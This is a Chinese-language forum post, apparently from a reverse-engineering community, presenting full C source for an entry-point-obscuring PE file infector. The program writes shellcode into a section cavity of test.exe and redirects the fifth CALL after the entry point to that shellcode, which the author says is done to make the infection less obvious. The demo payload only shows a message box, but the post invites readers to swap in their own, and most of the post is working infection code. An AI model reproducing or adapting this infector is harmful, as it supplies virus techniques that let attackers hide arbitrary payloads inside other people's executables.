/***************************************************************************************************************************
简单的EPO的实现
1.从OEP处开始查找CALL(E8 ????????),为了避免太过明显,则取第5个CALL进行替换
2.把要插入的shellcode代码插到节空隙处,若节空隙不够,则不进行感染,
若您的shellcode比较长也可以考虑加节或者扩展最后一个节
3.感染的代码仅仅为弹个对话框而已,因为仅仅是演示而已,当然你可以进行需要自己修改
4.因为是演示,所以很多细节都没处理,比如没有指定目录,而只是处理当前所在目录下test.exe,很多错误处理也没做
5.[LCG]:http://www.52pojie.cn
[DFJG]:http://www.80dfj.org
下面是要插入的shellcode代码
01013AA7 . 60 pushad
01013AA8 . E8 00000000 call calc.01013AAD
01013AAD $ 5B pop ebx
01013AAE . 81EB AD3A0101 sub ebx,calc.01013AAD ; 入口地址
01013AB4 . 6A 00 push 0 ; /Style = MB_OK|MB_APPLMODAL
01013AB6 . 8D83 D53A0101 lea eax,dword ptr ds:[ebx+1013AD5] ; |title
01013ABC . 50 push eax ; |Title
01013ABD 8D83 DD3A0101 lea eax,dword ptr ds:[ebx+1013ADD] ; caption
01013AC3 . 50 push eax ; |Text
01013AC4 . 6A 00 push 0 ; |hOwner = NULL
01013AC6 . B8 8A05D577 mov eax,user32.MessageBoxA ; |修改地方+32
01013ACB . FFD0 call eax ; \MessageBoxA
01013ACD . 61 popad
01013ACE .^ E9 CA38FFFF jmp calc.0100739D
01013AD3 00 db 00
01013AD4 00 db 00
01013AD5 . 38 30 64 66 6A 00 ascii "80dfj",0
01013ADB 00 db 00
01013ADC 00 db 00
01013ADD . 61 20 73 61 6D 70 >ascii "a sample epo tes"
01013AED . 74 21 00 ascii "t!",0
01013AF0 00 db 00
01013AF1 00 db 00
60 E8 00 00 00 00 5B 81 EB AD 3A 01 01 6A 00 8D 83 D5 3A 01 01 50 8D 83 DD 3A 01 01 50 6A 00 B8
8A 05 D5 77 FF D0 61 E9 CA 38 FF FF 00 00 38 30 64 66 6A 00 00 00 61 20 73 61 6D 70 6C 65 20 65
70 6F 20 74 65 73 74 21 00 00 00
****************************************************************************************************************************/
#include <windows.h>
#include "disasm.h"
char szFileName[MAX_PATH]="test.exe";
UINT nIndex=0;
//所要插入的代码
char shellcode[]={
0x60,0xE8,0x00,0x00,0x00,0x00,0x5B,0x81,0xEB,0xAD,
0x3A,0x01,0x01,0x6A,0x00,0x8D,0x83,0xD5,0x3A,0x01,
0x01,0x50,0x8D,0x83,0xDD,0x3A,0x01,0x01,0x50,0x6A,
0x00,0xB8,0x12,0x34,0x56,0x78,0xFF,0xD0,0x61,0xE9,
0xCA,0x38,0xFF,0xFF,0x00,0x00,0x38,0x30,0x64,0x66,
0x6A,0x00,0x00,0x00,0x61,0x20,0x73,0x61,0x6D,0x70,
0x6C,0x65,0x20,0x65,0x70,0x6F,0x20,0x74,0x65,0x73,
0x74,0x21,0x00,0x00,0x00
};
//RVA转Offset
DWORD RVAToOffset(LPVOID lpBase,DWORD VirtualAddress)
{
PIMAGE_DOS_HEADER MyDosHeader;
PIMAGE_NT_HEADERS MyNtHeader;
PIMAGE_SECTION_HEADER MySectionHeader;
MyDosHeader=(PIMAGE_DOS_HEADER)lpBase;
MyNtHeader=(PIMAGE_NT_HEADERS)((long)lpBase+MyDosHeader->e_lfanew);
MySectionHeader=(PIMAGE_SECTION_HEADER)((UINT32)MyNtHeader+0x18+(UINT32)MyNtHeader->FileHeader.SizeOfOptionalHeader);
int NumOfSection;
NumOfSection=MyNtHeader->FileHeader.NumberOfSections;
DWORD dwSizeOfSection;
dwSizeOfSection=sizeof(IMAGE_SECTION_HEADER);
if (VirtualAddress<MySectionHeader->VirtualAddress)
{
return VirtualAddress;
}
else
{
for(int i=0;i<NumOfSection;i++)
{
if(VirtualAddress>=MySectionHeader->VirtualAddress&&VirtualAddress<MySectionHeader->VirtualAddress+MySectionHeader->Misc.VirtualSize)
{
DWORD dwTmp=MySectionHeader->VirtualAddress-MySectionHeader->PointerToRawData;
DWORD Offset=VirtualAddress-dwTmp;
return Offset;
}
else
{
MySectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)MySectionHeader+dwSizeOfSection);
}
}
}
return 0;
}
int WINAPI WinMain( IN HINSTANCE hInstance, IN HINSTANCE hPrevInstance, IN LPSTR lpCmdLine, IN int nShowCmd )
{
HANDLE hFile=CreateFile(szFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile==INVALID_HANDLE_VALUE)
{
return 0;
}
HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
if (hMap==NULL)
{
CloseHandle(hMap);
return 0;
}
LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
if (lpBase==NULL)
{
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
//判断是否为PE文件
PIMAGE_DOS_HEADER MyDosHeader;
MyDosHeader=(PIMAGE_DOS_HEADER)lpBase;
if (MyDosHeader->e_magic!='ZM')
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
DWORD FileSize;
FileSize=GetFileSize(hFile,NULL);
if (MyDosHeader->e_lfanew>FileSize)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
PIMAGE_NT_HEADERS MyNtHeader;
MyNtHeader=(PIMAGE_NT_HEADERS)((long)lpBase+MyDosHeader->e_lfanew);
if (MyNtHeader->Signature!='EP')
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
if (MyNtHeader->OptionalHeader.AddressOfEntryPoint==0)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
PIMAGE_SECTION_HEADER MySectionHeader;
MySectionHeader=(PIMAGE_SECTION_HEADER)((UINT32)MyNtHeader+0x18+(UINT32)MyNtHeader->FileHeader.SizeOfOptionalHeader);
int iSectionNum=MyNtHeader->FileHeader.NumberOfSections;
DWORD dwNewCodeAddr=0; //新的要写入的地址
//循环搜索节空隙
for(int SecIndex=0;SecIndex<iSectionNum;SecIndex++)
{
DWORD dwCoveSize;
dwCoveSize=MySectionHeader->SizeOfRawData-MySectionHeader->Misc.VirtualSize; //计算节空隙
if (sizeof(shellcode)>dwCoveSize) //空隙不够,继续搜索
{
MySectionHeader=(PIMAGE_SECTION_HEADER)((DWORD)MySectionHeader+sizeof(IMAGE_SECTION_HEADER));
}
else
{
dwNewCodeAddr=(DWORD)lpBase+MySectionHeader->PointerToRawData+MySectionHeader->Misc.VirtualSize; //要写入的shellcode的地址
break;
}
}
//若均无足够空隙,则不进行处理
if (dwNewCodeAddr==0)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
DWORD dwSearchBegin,dwSearchLen;
//假设从OEP处当做搜索起点
dwSearchBegin=RVAToOffset(lpBase,MyNtHeader->OptionalHeader.AddressOfEntryPoint)+(DWORD)lpBase;
dwSearchLen=MySectionHeader->Misc.VirtualSize; //搜索长度
t_disasm da;
int nCodelen;
DWORD dwResultAddr=0; //查找到的地址
DWORD dwRawAddr; //原来要跳转的地址
DWORD iCount=1;
for (nIndex=0;nIndex<dwSearchLen;) //开始搜索
{
nCodelen= Disasm((char*)(dwSearchBegin+nIndex), 20,0, &da,DISASM_CODE);
if (nCodelen==5 && (BYTE)*(DWORD*)(dwSearchBegin+nIndex)==0xE8 )
{
if (iCount==5) //为了防止感染的地方太过明显,从第5个CALL才开始替换
{
dwResultAddr=dwSearchBegin+nIndex;
dwRawAddr=(DWORD)*(DWORD*)(dwResultAddr+1); //相对跳转地址
dwRawAddr=dwResultAddr+dwRawAddr+5;
if (dwRawAddr>=(DWORD)lpBase && dwRawAddr<=((DWORD)lpBase+FileSize)) //搜索到的CALL地址是否合法
{
break;
}
else
{
nIndex+=nCodelen;
continue;
}
}
else
{
iCount++;
}
}
nIndex+=nCodelen;
}
if (dwResultAddr==0)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
//差找到合法的地址后,开始猥琐
//先开始替换MessageBoxA的地址
int x=0x18;
HMODULE hUser32=LoadLibrary("user32.dll");
DWORD dwMsgBox=(DWORD)GetProcAddress(hUser32,"MessageBoxA");
for (int i=3;i>=0;i--)
{
shellcode[i+32] =((unsigned int)dwMsgBox>>x)&0xff;
x -= 8 ;
}
//修正原始CALL地址
DWORD dwWriteAddr=dwNewCodeAddr+0x27;
DWORD dwJMPValue=dwRawAddr-dwWriteAddr-5;
x=0x18;
for(i=3;i>=0;i--)
{
shellcode[i+0x28]=(dwJMPValue>>x)&0xff;
x-=8;
}
//写入shellcode
SetFilePointer(hFile,dwNewCodeAddr-(DWORD)lpBase,NULL,FILE_BEGIN);
DWORD dwWrite;
WriteFile(hFile,shellcode,sizeof(shellcode),&dwWrite,NULL);
//把原始地址替换掉
DWORD dwNewJMPValue=dwNewCodeAddr-dwResultAddr-5;
SetFilePointer(hFile,dwResultAddr+1-(DWORD)lpBase,NULL,FILE_BEGIN);
WriteFile(hFile,&dwNewJMPValue,4,&dwWrite,NULL);
//收尾
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
附件是编译后的epo程序以及所用到的反汇编引擎。